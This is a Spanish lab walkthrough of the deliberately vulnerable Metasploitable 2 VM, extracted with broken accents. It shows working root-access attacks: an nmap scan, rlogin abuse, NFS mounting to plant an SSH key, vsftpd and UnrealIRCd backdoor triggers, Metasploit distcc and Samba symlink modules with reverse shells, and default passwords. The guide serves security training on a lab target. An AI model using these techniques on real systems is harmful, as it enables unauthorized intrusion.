Está en la página 1de 8

Gua de Explotabilidad de Metasploitable 2

Metasploitable 2
La mquina virtual Metasploitable es una versin de Ubuntu Linux intencionalmente vulnerable
diseada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La
versin 2 de esta mquina virtual se encuentra disponible para la descargadesde Sourceforge.net y
contiene an muchas ms vulnerabilidades que la imgen original. Esta mquina virtual es
compatible con VMWare, VirtualBox, y otras plataformas de virtualizacin comunes. De manera
predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores
de red NAT y Host-only, y la imagen no debe exponerse a una red hostl. Este artculo describe
muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta
documentacin sobre el servidor web y las fallas de aplicaciones web, as como las
vulnerabilidades que permiten a un usuario local escalar a privilegios de root.
Este documento se seguir ampliando con el tiempo a medida que muchos de los defectos menos
evidentes
en
esta
plataforma
se
vayan
encontrando.

Primeros Pasos
Despus de arrancar la mquina virtual, inicie sesin en la consola con el usuario msfadminy
contrasea msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la direccin IP.
?

1
2
3
4
5
6

msfadmin@metasploitable:~$ ifconfig
eth0

Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1


inet
addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

Servicios
Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los
servicios de red abiertos en esta mquina virtual utilizando el Scanner de Seguridad Nmap. La
siguiente lnea de comando analizar todos los puertos TCP en la instancia de Metasploitable 2:
?

1
2
3
4
5
6
7

root@ubuntu:~# nmap -p0-65535 192.168.99.131


Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31
21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT
STATE SERVICE
21/tcp open ftp

8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

22/tcp open ssh


23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En
la siguiente seccin, caminaremos a travs de algunos de estos vectores.

Servicios: Bses de Unix


Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados
errneamente para permitir acceso remoto desde cualquier mquina (una situacin tpica ".rhosts +
+"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre
instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos
solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y
Ubuntu est predeterminando a utilizar SSH.
?

1
2
3
4

# rlogin -l root 192.168.99.131


Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC
2008 i686
root@metasploitable:~#

Esto se pone tan bueno como se v. El prximo servicio que debe tener en cuenta es el sistema de
archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o
pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para
identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raz del sistema
de archivos) estar siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfscommon para seguir adelante.
?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

root@ubuntu:~# rpcinfo
program vers proto
100000
2
tcp
100000
2
udp
100024
1
udp
100024
1
tcp
100003
2
udp
100003
3
udp
100003
4
udp
100021
1
udp
100021
3
udp
100021
4
udp
100003
2
tcp
100003
3
tcp
100003
4
tcp
100021
1
tcp
100021
3
tcp
100021
4
tcp
100005
1
udp
100005
1
tcp
100005
2
udp
100005
2
tcp
100005
3
udp
100005
3
tcp

-p 192.168.99.131
port service
111 portmapper
111 portmapper
53318 status
43729 status
2049 nfs
2049 nfs
2049 nfs
46696 nlockmgr
46696 nlockmgr
46696 nlockmgr
2049 nfs
2049 nfs
2049 nfs
55852 nlockmgr
55852 nlockmgr
55852 nlockmgr
34887 mountd
39292 mountd
34887 mountd
39292 mountd
34887 mountd
39292 mountd

root@ubuntu:~# showmount -e 192.168.99.131


Export list for 192.168.99.131:
/ *

Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial.
Para que sea as (y porque SSH est ejecutndose), generaremos una nueva llave SSH en

nuestro sistema atacante, montamos el export


archivo authorized_keys de la cuenta de usuario root:

NFS

agregamos

nuestra

llave

al

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>
/tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC
2008 i686
root@metasploitable:~#

Servicios: Backdoors
En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versin en
particular contiene una puerta trasera (backdoor) que fue introducida en el cdigo fuente por un
intruso desconocido. El backdoor fue rpidamente identificado y eliminado, pero no antes de que
unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado
terminando con la secuencia " :) " (carita felz), la versin con el backdoor abrir una shell en
escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un mdulo
de Metasploit Framework para explotarlo automticamente:
?

1
2
3
4
5
6
7
8
9
10
11

root@ubuntu:~# telnet 192.168.99.131 21


Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
root@ubuntu:~# telnet 192.168.99.131 6200

12
13
14
15
16
17
18

Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)

En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versin contiene un
backdoor que pas desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un
comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un mdulo para
explotar esto con el fin de obtener una shell interactiva, como se muestra a continuacin.
?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using y
instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at
21:53:59 -0700
id
uid=0(root) gid=0(root)

Mucho menos sutl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El
puerto ingreslock era una opcin popular hace una dcada para agregar una puerta trasera a un
servidor comprometido. Accederlo es fcil:
?

1
2

root@ubuntu:~# telnet 192.168.99.131 1524


Trying 192.168.99.131...
Connected to 192.168.99.131.

3
4
5
6

Escape character is '^]'.


root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)

Servicios: Backdoors No-Intencionales


Adems de las puertas traseras maliciosas de la seccin anterior, algunos servicios son casi
puertas traseras por su propia naturaleza. El primero de estos que est instalado en Metasploitable
2 es distccd. Este programa hace que sea fcil escalar grandes tareas de compilacin a travs de
una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio
es que un atacante puede abusar de este para ejecutar un comando a su eleccin, como lo
demuestra el uso del mdulo de Metasploit a continuacin.
?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at
22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide
links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo
de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente
ejemplo utiliza un mdulo de Metasploit para proporcionar acceso al sistema de archivos raz
utilizando una conexin annima y un recurso compartido con acceso de escritura.
?

root@ubuntu:~# smbclient -L //192.168.99.131


Anonymous login successful

2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]


Sharename
Type
Comment
-----------------print$
Disk
Printer Drivers
tmp
Disk
oh noes!
opt
Disk
IPC$
IPC
IPC Service (metasploitable server (Samba 3.0.20-D
ADMIN$
IPC
IPC Service (metasploitable server (Samba 3.0.20-D
root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
[*]
[*]
[*]
[*]
[*]
msf

Connecting to the server...


Trying to mount writeable share 'tmp'...
Trying to link 'rootfs' to the root filesystem...
Now access the following share to browse the root filesystem:
\\192.168.99.131\tmp\rootfs\
auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp


Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/
KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]

Contraseas Dbiles
Adicionalmente a las ms flagrantes puertas traseras y errores de configuracin, Metasploitable 2
tiene terrible seguridad de contrasea tanto para la cuenta del sistema como para la cuenta del
servidor de base de datos. El usuario principal de administracinmsfadmin tiene una contrasea
que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea
mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeracin de
estos identificadores de usuario a travs de Samba, un ataque de fuerza bruta puede ser utilizado
para acceder rpidamente a varias cuentas de usuario. Como mnimo, las siguientes cuentas
dbiles del sistema estn configuradas en el sistema.

Nombre Cuenta Contrasea


msfadmin

msfadmin

user

user

postgres

postgres

sys

batman

klog

123456789

service

service

Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el
nombre de usuario postgres y contrasea postgres, mientras que el servicio de MySQL est
abierto con el nombre de usuario root y con una contrasea en blanco. El servicio
de VNC proporciona el acceso de escritorio remoto a travs de la contrasea password.

También podría gustarte